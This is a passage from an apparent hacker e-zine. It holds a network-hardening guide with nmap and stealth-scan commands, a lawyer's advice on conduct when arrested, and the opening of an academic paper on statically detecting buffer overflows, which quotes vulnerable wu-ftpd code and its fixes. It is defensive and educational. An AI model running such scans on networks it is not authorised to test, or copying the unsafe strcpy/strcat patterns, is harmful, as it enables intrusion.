  2778. you with the rest of the world, to deny and log all incoming requests to those
  2779. ports. Don't block port 20 unless you want to break active ftp transfers, and
  2780. don't block ports above 1024 (non-privileged). You should have some instance of
  2781. remote logging available, that each of your hosts uses. The easiest way is to
  2782. configure syslog (see syslog.conf manpage) to log all messages to a remote
  2783. loghost. A loghost is a dedicated, secured machine that runs only syslog and
  2784. sshd (or not even sshd, so it is accessible only physically via console) and has
  2785. enough disk space for all the logs. A good idea would also be a solution with
  2786. digitally signed and/or encrypted logs to prevent manipulation and to ensure
  2787. authenticity. Once you have done this, you can implement extra Intrusion
  2788. Detection and firewalling services. This is recommended as extra security
  2789. mechanism, but not required, if you have really secured your machines well, and
  2790. a bit too much to cover it all in one article. Only this much: If you implement
  2791. a firewall/IDS, then first perform step 3, install the firewall with a good rule
  2792. set and perform step 3 again to audit your firewall rules and your IDS stability
  2793. and logging capabilities.
  2794.  
  2795. Penetration testing I: gathering information
  2796.  
  2797. Now, let us find every available service. If this step is performed before
  2798. implementing a firewall, it should be performed from within the local network,
  2799. to be as reliable as possible, else from behind the network border. You should
  2800. use nmap [4] for port scanning, which is currently the most reliable and
  2801. comprehensible way of port scanning available. Scan tcp port range 1 to 65535
  2802. and udp port range 1 to 65535 on every host, and save the results (open ports).
  2803. This would look like, for example:
  2804.  
  2805. nmap -sT -P0 -p1-65535 -I -n 10.0.0.0/24 >> results.txt nmap -sU -P0 -p1-65535
  2806. -I -n 10.0.0.0/24 >> results.txt (This would scan hosts 10.0.0.0 to 10.0.0.255.)
  2807.  
  2808. Note: to audit firewall rules or IDS logging capabilities, re-run this scan with
  2809. values like: -f, -sS / -sF / -sN and -g 20 / 53 / 80 The results should NOT show
  2810. more than normal scans, and an eventually installed IDS should detect and log
  2811. the stealth scanning tricks.
  2812.  
  2813. Penetration testing II: evaluating information
  2814.  
  2815. Generally, the causes of remote network security problems can be classified into
  2816. five groups:
  2817.  
  2818. I. Problems due to buffer overflows (ex.: exploitable imap server) II. Problems
  2819. due to generally insecure programs (ex.: insecure CGI scripts) III. Problems due
  2820. to insecure configuration (ex.: default samba shares) IV. Problems due to lack
  2821. of or insecure passwords (ex.: SNMP daemon) V. Backdoors and trojan horses (not
  2822. applicable if you went through step 1.)
  2823.  
  2824. Many people see a penetration check as an attempt to exploit any of these
  2825. problems, if present, to gain access (hack) into a host and therefore prove that
  2826. it is insecure. This is not sufficient to ensure the security in a systematical
  2827. way, however, because one would omit the potential holes.
  2828.  
  2829. One way to start off, is using a well-designed and reliable security scanner,
  2830. like NSAT [5]. I don't only recommend it because of self-promotion ;), but
  2831. because it scans for a lot of vulnerabilities and does not only report them, but
  2832. rather a lot of information, versions, auditing results etc. out of which one
  2833. can draw its own conclusions. In contrary to many other scanners, this enables
  2834. NSAT to audit services at all times with maximum efficiency, while it doesn't
  2835. need to maintain a very recent vulnerabilities database. Give NSAT a try and
  2836. audit the services it scans for with it. However, if you run other uncommon
  2837. services, that NSAT does not scan for, or you want to be 100% safe you should
  2838. afterwards scan and examine them manually as well, using telnet, netcat,
  2839. browser, etc. sessions.
  2840.  
  2841. To actually identify all vulnerabilities, (you may have guessed it, this is the
  2842. hardest part :)!), search archives of security mailing lists [8], security sites
  2843. [9], and vendor sites for known security issues regarding the server, and also
  2844. don't be afraid to write the author to ask if your version is vulnerable. If you
  2845. find no exploits or advisories regarding your program at all, you can consider
  2846. it to be secure. The better way is of course, to search updates for every server
  2847. you run and install the latest versions. Retain from running anything if you
  2848. don't fully understand how to configure and maintain it. In most cases,
  2849. understanding a program up to the point where you know how to properly secure
  2850. it, doesn't take too much work, as most GNU programs are generally
  2851. well-documented and user friendly once you get to know them.
  2852.  
  2853. There are a few examples, where you can not audit services satisfyingly by
  2854. looking at the version or performing sample sessions, namely httpd, where you
  2855. have to locally examine the CGI scripts. You can use very sophisticated and
  2856. flexible CGI scanners to locate vulnerable CGI's, but you can never be sure to
  2857. find all by doing a remote scan. You need to locally scan your cgi-bin/
  2858. directory and scripts that may reside somewhere else in your document root. A
  2859. big security risk are self-written or uncommon CGI scripts, an intruder WILL
  2860. scan and find those, if he tries hard enough. Always consider every executable
  2861. script on your HTTP server as relevant to security as a separate server running
  2862. with the privileges of your httpd.
  2863.  
  2864. Another important subjects are services with password authentication. If
  2865. possible, disable non-encrypted services and use kerberos-enabled mail servers,
  2866. and ssh / sftp instead. It is crucial to your security to have all
  2867. authentication mechanisms use strong, non-standard passwords that cannot be
  2868. easily brute forced. Configuring your standard authentication not to take weak
  2869. passwords at all is a good idea. If you are securing multi- user systems, you
  2870. should always make secure passwords a central point in your security policy.
  2871. (But designing an adequate security policy is another big, important topic
  2872. besides network security.) BSD style MD5 and all DES passwords can and should be
  2873. tested with John [6]; other issues with passwords exist in snmp, http auth,
  2874. linuxconf, r-services, SQL and various other services.
  2875.  
  2876. A small collection of related articles and programs
  2877.  
  2878. [1] Q - stealth encryted remote shell and redirection server
  2879. http://members.tripod.com/mixtersecurity/Q-0.9.tgz [2] Brian Martin: Why your
  2880. network is still vulnerable http://www.hackernews.com/orig/whyvuln.html [3]
  2881. David Curry: Improving your network by breaking into it
  2882. http://www.rootshell.com/beta/docs/improving_security_sri.ps.gz [4] Nmap by
  2883. fyodor http://www.insecure.org/nmap [5] Network security analysis tool
  2884. http://members.tripod.com/mixtersecurity/nsat-1.09.tgz [6] John the ripper by
  2885. Solar Designer http://www.false.com/security [7] Daniel V. Klein: Foiling the
  2886. Cracker http://www.rootshell.com/beta/docs/passwords_klein.ps.gz [8] Security
  2887. Focus / Bugtraq Mailing List archives http://www.securityfocus.com [9] Packet
  2888. Storm Security http://packetstorm.securify.com
  2889.  
  2890. Mixter mixter@newyorkoffice.com http://members.tripod.com/mixtersecurity
  2891.  
  2892.  
  2893.  
  2894.  
  2895. ==================[ Ten Things NOT to do if Arrested ]==================
  2896.  
  2897.                              --- by Brian Dinday ---
  2898.  
  2899.  
  2900. I have been practicing criminal law for 24 years and have seen a wide variety of
  2901. reactions by people who are being arrested. Some of these reactions are unwise
  2902. but understandable. Others are self defeating to the point of being bizarre. No
  2903. one plans to be arrested, but it might help to think just once about what you
  2904. will do and not do if you ever hear the phrase "Put your hands behind you." The
  2905. simplest "to do" rule is to do what you are told. Simple, but somehow it often
  2906. escapes someone who is either scared or intoxicated. More important to guarding
  2907. your rights and interests are ten things you SHOULD NOT do:
  2908.  
  2909. 1. DonÆt try to convince the officer of your innocence. ItÆs useless. He or she
  2910. only needs "probable cause" to believe you have committed a crime in order to
  2911. arrest you. He does not decide your guilt and he actually doesnÆt care if you
  2912. are innocent or not. It is the job of the judge or jury to free you if he is
  2913. wrong. If you feel that urge to convince him heÆs made a mistake, remember the
  2914. overwhelming probability that instead you will say at least one thing that will
  2915. hurt your case, perhaps even fatally. It is smarter to save your defense for
  2916. your lawyer.
  2917.  
  2918. 2. DonÆt run. ItÆs highly unlikely a suspect could outrun ten radio cars
  2919. converging on a block in mere seconds. I saw a case where a passenger being
  2920. driven home by a drunk friend bolted and ran. Why? It was the driver they
  2921. wanted, and she needlessly risked injury in a forceful arrest. Even worse, the
  2922. police might have suspected she ran because she had a gun, perhaps making them
  2923. too quick to draw their own firearms. Most police will just arrest a runner, but
  2924. there are some who will be mad they had to work so hard and injure the suspect
  2925. unnecessarily.
  2926.  
  2927. 3. Keep quiet. My hardest cases to defend are those where the suspect got very
  2928. talkative. Incredibly, many will start babbling without the police having asked
  2929. a single question. My most vivid memory of this problem was the armed robbery
  2930. suspect who blurted to police: "How could the guy identify me? The robbers was
  2931. wearing masks." To which the police smiled and responded, "Oh? Were they?"
  2932. Judges and juries will discount or ignore what a suspect says that helps him,
  2933. but give great weight to anything that seems to hurt him. In 24 years of
  2934. criminal practice, I could count on one hand the number of times a suspect was
  2935. released because of what he told the police after they arrested him.
  2936.  
  2937. 4. DonÆt give permission to search anywhere. If they ask, it probably means they
  2938. donÆt believe they have the right to search and need your consent. If you are
  2939. ordered to hand over your keys, state loudly "You do NOT have my permission to
  2940. search." If bystanders hear you, whatever they find may be excluded from
  2941. evidence later. This is also a good reason not to talk, even if it seems all is
  2942. lost when they find something incriminating.
  2943.  
  2944. 5. If the police are searching your car or home, donÆt look at the places you
  2945. wish they wouldnÆt search. DonÆt react to the search at all, and especially not
  2946. to questions like "Who does this belong to?"
  2947.  
  2948. 6. DonÆt resist arrest. Above all, do not push the police or try to swat their
  2949. hands away. That would be assaulting an officer and any slight injury to them
  2950. will turn your minor misdemeanor arrest into a felony. A petty shoplifter can
  2951. wind up going to state prison that way. Resisting arrest (such as pulling away)
  2952. is merely a misdemeanor and often the police do not even charge that offense.
  2953. Obviously, striking an officer can result in serious injury to you as well.
  2954.  
  2955. 7. Try to resist the temptation to mouth off at the police, even if you have
  2956. been wrongly arrested. Police have a lot of discretion in what charges are
  2957. brought. They can change a misdemeanor to a felony, add charges, or even take
  2958. the trouble to talk directly to the prosecutor and urge him to go hard on you.
  2959. On the other hand, I have seen a client who was friendly to the police and
  2960. talked sports and such on the way to the station. They gave him a break. Notice
  2961. he did not talk about his case, however.
  2962.  
  2963. 8. Do not believe what the police tell you in order to get you to talk. The law
  2964. permits them to lie to a suspect in order to get him to make admissions. For
  2965. example, they will separate two friends who have been arrested and tell the
  2966. first one that the second one squealed on him. The first one then squeals on the
  2967. second, though in truth the second one never said anything. An even more common
  2968. example is telling a suspect that if he talks to the police, "it will go
  2969. easier". Well, thatÆs sort of true. It will be much easier for the police to
  2970. prove their case. I canÆt remember too many cases where the prosecutor gave the
  2971. defendant an easier deal because he waived his right to silence and confessed.
  2972.  
  2973. 9. If at home, do not invite the police inside, nor should you "step outside".
  2974. If the police believe you have committed a felony, they usually need an arrest
  2975. warrant to go into your home to arrest you. If they ask you to "step outside",
  2976. you will have solved that problem for them. The correct responses are: "I am
  2977. comfortable talking right here.", "No, you may not come in.", or "Do you have a
  2978. warrant to enter or to arrest me in my home?" I am not suggesting that you run.
  2979. In fact, that is the best way to ensure the harshest punishment later on. But
  2980. you may not find it so convenient to be arrested Friday night when all the
  2981. courts and law offices are closed. With an attorney, you can perhaps surrender
  2982. after bail arrangements are made and spend NO time in custody while your case is
  2983. pending.
  2984.  
  2985. 10. If you are arrested outside your home, do not accept any offers to let you
  2986. go inside to get dressed, change, get a jacket, call your wife, or any other
  2987. reason. The police will of course escort you inside and then search everywhere
  2988. they please, again without a warrant. Likewise decline offers to secure your car
  2989. safely.
  2990.  
  2991. ThatÆs it: Ten simple rules that will leave as many of your rights intact as
  2992. possible if you are arrested. How about a short test? You have a fight with your
  2993. live-in girlfriend and the police come and find you on the sidewalk two houses
  2994. down from the apartment. The girlfriend points you out and the police arrest you
  2995. for assault. They tell you they donÆt intend to question you. They just want
  2996. your name and address. Do you answer? Well, you shouldnÆt. Your address is the
  2997. single most damaging admission you could make. If you admit living with her, you
  2998. have just converted a misdemeanor assault into a felony punishable by state
  2999. prison. When you are arrested it is their game, and you donÆt know the rules. It
  3000. is best to be silent and let the attorney handle it later. The bottom line is
  3001. that if the police have enough evidence to arrest, they will. If they donÆt have
  3002. that evidence, you could easily provide it by talking.     
  3003.                                                                               
  3004.                                                                               
  3005.                                                                               
  3006.                                                                               
  3007. =====[ Statically Detecting Likely Buffer Overflow Vulnerabilities ]=====
  3008.                                                                               
  3009.                   --- by David Larochelle and David Evans ---
  3010.                                                                               
  3011.                                                                                
  3012. Abstract
  3013.                                                                                
  3014. Buffer overflow attacks may be todayÆs single most important security threat.
  3015. This paper presents a new approach to mitigating buffer overflow vulnerabilities
  3016. by detecting likely vulnerabilities through an analysis of the program source
  3017. code. Our approach exploits information provided in semantic comments and uses
  3018. lightweight and efficient static analyses. This paper describes an
  3019. implementation of our approach that extends the LCLint annotation-assisted
  3020. static checking tool. Our tool is as fast as a compiler and nearly as easy to
  3021. use. We present experience using our approach to detect buffer overflow
  3022. vulnerabilities in two security-sensitive programs.
  3023.  
  3024. Introduction
  3025.  
  3026. Buffer overflow attacks are an important and persistent security problem. Buffer
  3027. overflows account for approximately half of all security vulnerabilities
  3028. [CWPBW00, WFBA00]. Richard Pethia of CERT identified buffer overflow attacks as
  3029. the single most im¡por¡tant security problem at a recent software engineering
  3030. conference [Pethia00]; Brian Snow of the NSA predicted that buffer overflow
  3031. attacks would still be a problem in twenty years [Snow99].
  3032.  
  3033. Programs written in C are particularly susceptible to buffer overflow attacks.
  3034. Space and performance were more important design considerations for C than
  3035. safety. Hence, C allows direct pointer manipulations without any bounds
  3036. checking. The standard C library includes many functions that are unsafe if they
  3037. are not used carefully. Nevertheless, many security-critical pro¡grams are
  3038. written in C.
  3039.  
  3040. Several run-time approaches to mitigating the risks associated with buffer
  3041. overflows have been proposed. Despite their availability, these techniques are
  3042. not used widely enough to substantially mitigate the effectiveness of buffer
  3043. overflow attacks. The next section describes representative run-time approaches
  3044. and speculates on why they are not more widely used. We propose, instead, to
  3045. tackle the problem by detecting likely buffer overflow vulnerabilities through a
  3046. static analysis of program source code. We have im¡ple¡ment¡ed a prototype tool
  3047. that does this by extending LCLint [Evans96]. Our work differs from other work
  3048. on static detection of buffer overflows in three key ways: (1) we exploit
  3049. semantic comments added to source code to enable local checking of
  3050. interprocedural properties; (2) we focus on lightweight static checking
  3051. techniques that have good performance and scalability characteristics, but
  3052. sacrifice soundness and completeness; and (3) we introduce loop heuristics, a
  3053. simple approach for efficiently analyzing many loops found in typical programs.
  3054.  
  3055. The next section of this paper provides some background on buffer overflow
  3056. attacks and previous attempts to mitigate the problem. Section 3 gives an
  3057. overview of our approach. In Section 4, we report on our experience using our
  3058. tool on wu-ftpd and BIND, two security-sensitive programs. The following two
  3059. sec¡tions provide some details on how our analysis is done. Section 7 compares
  3060. our work to related work on buffer overflow detection and static analysis.
  3061.  
  3062. Buffer Overflow Attacks and Defenses
  3063.  
  3064. The simplest buffer overflow attack, stack smashing [AlephOne96], overwrites a
  3065. buffer on the stack to replace the return address. When the function returns,
  3066. instead of jumping to the return address, control will jump to the address that
  3067. was placed on the stack by the attacker. This gives the attacker the ability to
  3068. execute arbitrary code. Programs written in C are particularly susceptible to
  3069. this type of attack. C provides direct low-level memory access and pointer
  3070. arithmetic without bounds checking. Worse, the standard C library provides
  3071. unsafe functions (such as gets) that write an unbounded amount of user input
  3072. into a fixed size buffer without any bounds checking [ISO99]. Buffers stored on
  3073. the stack are often passed to these functions. To exploit such vulnerabilities,
  3074. an attacker merely has to enter an input larger than the size of the buffer and
  3075. encode an attack program binary in that input. The Internet Worm of 1988
  3076. [Spafford88, RE89] exploited this type of buffer overflow vulnerability in
  3077. fingerd. More so¡phis¡ti¡ca¡ted buffer overflow attacks may exploit unsafe
  3078. buffer usage on the heap. This is harder, since most programs do not jump to
  3079. addresses loaded from the heap or to code that is stored in the heap.
  3080.  
  3081. Several run-time solutions to buffer overflow attacks have been proposed.
  3082. StackGuard [CPMH+98] is a com¡pi¡ler that generates binaries that incorporate
  3083. code designed to prevent stack smashing attacks. It places a special value on
  3084. the stack next to the return address, and checks that it has not been tampered
  3085. with before jumping. Baratloo, Singh and Tsai describe two run-time approaches:
  3086. one replaces unsafe library func¡tions with safe implementations; the other
  3087. modifies executables to perform sanity checking of return ad¡dress¡es on the
  3088. stack before they are used [BST00].
  3089.  
  3090. Software fault isolation (SFI) is a technique that inserts bit mask instructions
  3091. before memory operations to prevent access of out-of-range memory [WLAG93]. This
  3092. alone does not offer much protection against typical buffer overflow attacks
  3093. since it would not prevent a program from writing to the stack address where the
  3094. return value is stored. Generalizations of SFI can insert more expressive
  3095. checking around potentially dangerous operations to restrict the behavior of
  3096. programs more generally. Examples include Janus, which observes and mediates
  3097. behavior by monitoring system calls [GWTB96]; Naccio [ET99, Evans00a] and
  3098. PSLang/PoET [ES99¡, ES00] which transform object programs accord¡ing to a safety
  3099. policy; and Generic Software Wrappers [FBF99] which wraps system calls with
  3100. security checking code.
  3101.  
  3102. Buffer overflow attacks can be made more difficult by modifications to the
  3103. operating system that put code and data in separate memory segments, where the
  3104. code segment is read-only and instructions cannot be executed from the data
  3105. segment. This does not eliminate the buffer overflow problem, however, since an
  3106. attacker can still overwrite an address stored on the stack to make the program
  3107. jump to any point in the code segment. For programs that use shared libraries,
  3108. it is often possible for an attacker to jump to an address in the code segment
  3109. that can be used maliciously (e.g., a call to system). Developers decided
  3110. against using this approach in the Linux kernel since it did not solve the real
  3111. problem and it would prevent legitimate uses of self-modifying code [Torvalds98,
  3112. Coolbaugh99].
  3113.  
  3114. Despite the availability of these and other run-time approaches, buffer overflow
  3115. attacks remain a persistent problem. Much of this may be due to lack of
  3116. awareness of the severity of the problem and the availability of practical
  3117. solutions. Nevertheless, there are legitimate reasons why the run-time solutions
  3118. are unacceptable in some environments. Run-time solutions always incur some
  3119. performance penalty (StackGuard reports performance overhead of up to 40%
  3120. [CBDP+99]). The other problem with run-time solutions is that while they may be
  3121. able to detect or prevent a buffer overflow attack, they effectively turn it
  3122. into a denial-of-service attack. Upon detecting a buffer overflow, there is
  3123. often no way to recover other than terminating execution.
  3124.  
  3125. Static checking overcomes these problems by detecting likely vulnerabilities
  3126. before deployment. Detecting buffer overflow vulnerabilities by analyzing code
  3127. in general is an undecidable problem.[1] Nevertheless, it is possible to produce
  3128. useful results using static analysis. Rather than attempting to verify that a
  3129. program has no buffer overflow vulnerabilities, we wish to have reasonable
  3130. confidence of detecting a high fraction of likely buffer overflow
  3131. vulnerabilities. We are willing to accept a solution that is both unsound and
  3132. incomplete. This means that our checker will sometimes generate false warnings
  3133. and sometimes miss real problems. Our goal is to produce a tool that produces
  3134. useful results for real programs with a reasonable effort. The next section
  3135. describes our approach. We compare our work with other static approaches to
  3136. detecting buffer overflow vulnerabilities in Section 7.
  3137.  
  3138. Approach Our static analysis tool is built upon LCLint [EGHT94, Evans96,
  3139. Evans00b], an annotation-assisted lightweight static checking tool. Examples of
  3140. problems detected by LCLint include violations of information hiding,
  3141. inconsistent modifications of caller-visible state or uses of global variables,
  3142. misuses of possibly NULL references, uses of dead storage, memory leaks and
  3143. problems with parameters aliasing. LCLint is actually used by working
  3144. programmers, especially in the open source development community [Orcero00,
  3145. PG00].
  3146.  
  3147. Our approach is to exploit semantic comments (henceforth called annotations)
  3148. that are added to source code and standard libraries. Annotations describe
  3149. programmer assumptions and intents. They are treated as regular C comments by
  3150. the compiler, but recognized as syntactic entities by LCLint using the @
  3151. following the /* to identify a semantic comment. For example, the annotation
  3152. /*@notnull@*/ can be used syntactically like a type qualifier. In a parameter
  3153. declaration, it indicates that the value passed for this parameter may not be
  3154. NULL. Although annotations can be used on any declaration, for this discussion
  3155. we will focus exclusively on function and parameter declarations. We can also
  3156. use annotations similarly in declarations of global and local variables, types
  3157. and type fields.
  3158.  
  3159. Annotations constrain the possible values a reference can contain either before
  3160. or after a function call. For example, the /*@notnull@*/ annotation places a
  3161. constraint on the parameter value before the function body is entered. When
  3162. LCLint checks the function body, it assumes the initial value of the parameter
  3163. is not NULL. When LCLint checks a call site, it reports a warning unless it can
  3164. determine that the value passed as the corresponding parameter is never NULL.
  3165.  
  3166. Prior to this work, all annotations supported by LCLint classified references as
  3167. being in one of a small number of possible states. For example, the annotation
  3168. /*@null@*/ indicated that a reference may be NULL, and the annotation
  3169. /*@notnull@*/ indicated that a reference is not NULL. In order to do useful
  3170. checking of buffer overflow vulnerabilities, we need annotations that are more
  3171. expressive. We are concerned with how much memory has been allocated for a
  3172. buffer, something that cannot be adequately modeled using a finite number of
  3173. states. Hence, we need to extend LCLint to support a more general annotation
  3174. language. The annotations are more expressive, but still within the spirit of
  3175. simple semantic comments added to programs.
  3176.  
  3177. The new annotations allow programmers to explicitly state function preconditions
  3178. and postconditions using requires and ensures clauses.[2] We can use these
  3179. clauses to describe assumptions about buffers that are passed to functions and
  3180. constrain the state of buffers when functions return. For the analyses described
  3181. in this paper, four kinds of assumptions and constraints are used: minSet,
  3182. maxSet, minRead and maxRead.[3]
  3183.  
  3184. When used in a requires clause, the minSet and maxSet annotations describe
  3185. assumptions about the lowest and highest indices of a buffer that may be safely
  3186. used as an lvalue (e.g., on the left-hand side of an assignment). For example,
  3187. consider a function with an array parameter a and an integer parameter i that
  3188. has a pre¡condition requires maxSet(a) >= i. The analysis assumes that at the
  3189. beginning of the function body, a[i] may be used as an lvalue. If a[i+1] were
  3190. used before any modifications to the value of a or i, LCLint would generate a
  3191. warning since the function preconditions are not sufficient to guarantee that
  3192. a[i+1] can be used safely as an lvalue. Arrays in C start with index 0, so the
  3193. declaration
  3194.  
  3195. char buf[MAXSIZE]
  3196.  
  3197. generates the constraints
  3198.  
  3199. maxSet(buf) = MAXSIZE - 1 and minSet(buf) = 0.
  3200.  
  3201. Similarly, the minRead and maxRead constraints indicate the minimum and maximum
  3202. indices of a buffer that may be read safely. The value of maxRead for a given
  3203. buffer is always less than or equal to the value of maxSet. In cases where there
  3204. are elements of the buffer have not yet been initialized, the value of maxRead
  3205. may be lower than the value of maxSet.
  3206.  
  3207. At a call site, LCLint checks that the preconditions implied by the requires
  3208. clause of the called function are satisfied before the call. Hence, for the
  3209. requires maxSet(a) >= i example, it would issue a warning if it cannot determine
  3210. that the array passed as a is allocated to hold at least as many elements as the
  3211. value passed as i. If minSet or maxSet is used in an ensures clause, it
  3212. indicates the state of a buffer after the function returns. Checking at the call
  3213. site proceeds by assuming the postconditions are true after the call returns.
  3214.  
  3215. For checking, we use an annotated version of the standard library headers. For
  3216. example, the function strcpy is annotated as[4]:
  3217.  
  3218. char *strcpy (char *s1, const char *s2)
  3219.  
  3220. /*@requires maxSet(s1) >= maxRead(s2)@*/
  3221.  
  3222. /*@ensures maxRead(s1) == maxRead(s2) /\ result == s1@*/;
  3223.  
  3224. The requires clause specifies the precondition that the buffer s1 is allocated
  3225. to hold at least as many char¡acters as are readable in the buffer s2 (that is,
  3226. the number of characters up to and including its null terminator). The
  3227. postcondition reflects the behavior of strcpy û it copies the string pointed to
  3228. by s2 into the buffer s1, and returns that buffer. In ensures clauses, we use
  3229. the result keyword to denote the value returned by the function.
  3230.  
  3231. Many buffer overflows result from using library functions such as strcpy in
  3232. unsafe ways. By annotating the standard library, many buffer overflow
  3233. vulnerabilities can be detected even before adding any annotations to the target
  3234. program. Selected annotated standard library functions are shown in Appendix A.
  3235.  
  3236. Experience
  3237.  
  3238. In order to test our approach, we used our tool on wu-ftpd, a popular open
  3239. source ftp server, and BIND (Berkeley Internet Name Domain), a set of domain
  3240. name tools and libraries that is considered the reference implementation of DNS.
  3241. This section describes the process of running LCLint on these applications, and
  3242. illustrates how our checking detected both known and unknown buffer overflow
  3243. vulnerabilities in each appli¡cation.
  3244.  
  3245. 4.1 wu-ftpd We analyzed wu-ftp-2.5.0[5], a version with known se¡cur¡ity
  3246. vulnerabilities.
  3247.  
  3248. Running LCLint is similar to running a compiler. It is typically run from the
  3249. command line by listing the source code files to check, along with flags that
  3250. set checking parameters and control which classes of warnings are reported. It
  3251. takes just over a minute for LCLint to analyze all 17 000 lines of wu-ftpd.
  3252. Running LCLint on the entire unmodified source code for wu-ftpd without adding
  3253. any annotations resulted in 243 warnings related to buffer overflow checking.
  3254.  
  3255. Consider a representative message[6]:
  3256.  
  3257.  
  3258. ftpd.c:1112:2: Possible out-of-bounds store.  Unable to 
  3259.  
  3260.    resolve constraint: 
  3261.  
  3262.       maxRead ((entry->arg[0] @ ftpd.c:1112:23)) <= (1023)
  3263.  
  3264.    needed to satisfy precondition: 
  3265.  
  3266.       requires maxSet ((ls_short @ ftpd.c:1112:14)) 
  3267.  
  3268.                   >= maxRead ((entry->arg[0] @ ftpd.c:1112:23))
  3269.  
  3270.    derived from strcpy precondition:
  3271.  
  3272.       requires maxSet () >= maxRead () 
  3273.  
  3274. Relevant code fragments are shown below with line 1112 in bold:  
  3275.  
  3276. char  ls_short[1024];
  3277.  
  3278. ...
  3279.  
  3280. extern struct aclmember * getaclentry(char *keyword, struct aclmember **next);
  3281.  
  3282. ...
  3283.  
  3284. int main(int argc, char **argv, char **envp)
  3285.  
  3286. {
  3287.  
  3288.    ...
  3289.  
  3290.    entry = (struct aclmember *) NULL;
  3291.  
  3292.    if (getaclentry("ls_short", &entry) 
  3293.  
  3294.        && entry->arg[0] 
  3295.  
  3296.        && (int)strlen(entry->arg[0]) > 0) 
  3297.  
  3298.       {
  3299.  
  3300.         strcpy(ls_short,entry->arg[0]);
  3301.  
  3302.         ...
  3303.  
  3304.  
  3305.  
  3306.  
  3307. This code is part of the initialization code that reads configuration files. Several buffer overflow vul¡ner¡a¡bil¡i¡¡ties were found in the wu-ftpd initialization code. Although this vulnerability is not likely to be exploited, it can cause security holes if an untrustworthy user is able to alter configuration files. 
  3308.  
  3309. The warning message indicates that a possible out-of-bounds store was detected on line 1112 and contains information about the constraint LCLint was unable to resolve. The warning results from the function call to strcpy. LCLint generates a pre¡con¡dit¡ion constraint corresponding to the strcpy requires clause maxSet(s1) >= maxRead(s2) by substituting the actual parameters: 
  3310.  
  3311. maxSet (ls_short @ ftpd.c:1112:14) >= maxRead (entry->arg[0] @ ftpd.c:1112:23). 
  3312.  
  3313. Note that the locations of the expressions passed as actual parameters are recorded in the constraint. Since values of expressions may change through the code, it is important that constraints identify values at particular program points. 
  3314.  
  3315. The global variable ls_short was declared as an array of 1024 characters. Hence, LCLint determines maxSet (ls_short) is 1023. After the call to getaclentry, the local entry->arg[0] points to a string of arbitrary length read from the configuration file. Because there are no annotations on the getaclentry function, LCLint does not assume anything about its behavior. In particular, the value of maxRead (entry->arg[0]) is unknown. LCLint reports a possible buffer misuse, since the constraint derived from the strcpy requires clause may not be satisfied if the value of maxRead (entry->arg[0]) is greater than 1023. 
  3316.  
  3317. To fix this problem, we modified the code to handle these values safely by using strncpy. Since ls_short is a fixed size buffer, a simple change to use strncpy and store a null character at the end of the buffer is sufficient to ensure that the code is safe.[7] 
  3318.  
  3319. In other cases, eliminating a vulnerability involved both changing the code and adding annotations. For example, LCLint generated a warning for a call to strcpy in the function acl_getlimit: 
  3320. int acl_getlimit(char *class, char *msgpathbuf) {
  3321.  
  3322.  int limit;
  3323.  
  3324.  struct aclmember *entry = NULL;
  3325.  
  3326.  
  3327.  
  3328.  if (msgpathbuf) *msgpathbuf = '\0';
  3329.  
  3330.  while (getaclentry("limit", &entry)) {
  3331.  
  3332.    ...
  3333.  
  3334.    if (!strcasecmp(class, entry->arg[0]))
  3335.  
  3336.    {
  3337.  
  3338.      ...
  3339.  
  3340.      if (entry->arg[3] 
  3341.  
  3342.          && msgpathbuf != NULL)
  3343.  
  3344.        strcpy(msgpathbuf, entry->arg[3]);
  3345.  
  3346.      ...
  3347.  
  3348.  
  3349.  
  3350. If the size of msgputhbuf is less than the length of the string in
  3351. entry->arg[3], there is a buffer overflow. To fix this we replaced the strcpy
  3352. call with a safe call to strncpy:
  3353.  
  3354. strncpy(msgpathbuf, entry->arg[3], 199);
  3355.  
  3356. msgpathbuf[199] = '\0'; 
  3357.  
  3358. and added a requires clause to the function declaration: 
  3359.  
  3360. /*@requires maxSet(msgpathbuf) >= 199@*/ 
  3361.  
  3362. The requires clause documents an assumption (that may be incorrect) about the
  3363. size of the buffer passed to acl_getlimit. Because of the constraints denoted by
  3364. the requires clauses, LCLint does not report a warning for the call to strncpy.
  3365.  
  3366. When call sites are checked, LCLint produces a warn¡ing if it is unable to
  3367. determine that this requires clause is satisfied. Originally, we had modified
  3368. the function acl_getlimit by adding the precondition maxSet (msgpathbuf) >=
  3369. 1023. After adding this precondition, LCLint produced a warning for a call site
  3370. that passed a 200-byte buffer to acl_getlimit. Hence, we re¡placed the requires
  3371. clause with the stronger constraint and used 199 as the parameter to strncpy.
  3372.  
  3373. This vulnerability was still present in the current ver¡sion of wu-ftpd. We
  3374. contacted the wu-ftpd developers who acknowledged the bug but did not consider
  3375. it security critical since the string in question is read from a local file not
  3376. user input [Luckin01, Lundberg01].
  3377.  
  3378. In addition to the previously unreported buffer overflows in the initialization
  3379. code, LCLint detected a known buffer overflow in wu-ftpd. The buffer overflow
  3380. occurs in the function do_elem shown below, which passes a global buffer and its
  3381. parameters to the library function strcat. The function mapping_chdir calls
  3382. do_elem with a value entered by the remote user as its parameter. Because
  3383. wu-ftpd fails to perform sufficient bounds checking, a remote user is able to
  3384. exploit this vulnerability to overflow the buffer by carefully creating a series
  3385. of directories and executing the cd command.[8]
  3386.  
  3387.  
  3388. char mapped_path [200];
  3389.  
  3390. ...
  3391.  
  3392. void do_elem(char *dir) {
  3393.  
  3394.    ...
  3395.  
  3396.    if (!(mapped_path[0] == '/' 
  3397.  
  3398.        && mapped_path[1] == '\0'))
  3399.  
  3400.      strcat (mapped_path, "/");
  3401.  
  3402.    strcat (mapped_path, dir);
  3403.  
  3404. }
  3405.  
  3406.  
  3407.  
  3408. LCLint generates warnings for the unsafe calls to strcat. This was fixed in
  3409. latter versions of wu-ftpd by calling strncat instead of strcat.
  3410.  
  3411. Because of the limitations of static checking, LCLint some¡¡times generates
  3412. spurious error messages. If the user believes the code is correct, annotations
  3413. can be added to precisely suppress spurious messages.
  3414.  
  3415. Often the code was too complex for LCLint to analyze correctly. For example,
  3416. LCLint reports a spurious warning for this code fragment since it cannot
  3417. determine that ((1.0*j*rand()) / (RAND_MAX + 1.0)) always produces a value
  3418. between 1 and j:
  3419.  
  3420.  
  3421.   i = passive_port_max 
  3422.  
  3423.       - passive_port_min + 1;
  3424.  
  3425.   port_array = calloc (i, sizeof (int));
  3426.  
  3427.   for (i = 3; ... && (i > 0); i--) {
  3428.  
  3429.     for (j = passive_port_max 
  3430.  
  3431.              - passive_port_min + 1;
  3432.  
  3433.          ... && (j > 0); j--) {
  3434.  
  3435.        k = (int) ((1.0 * j * rand()) 
  3436.  
  3437.                   / (RAND_MAX + 1.0));
  3438.  
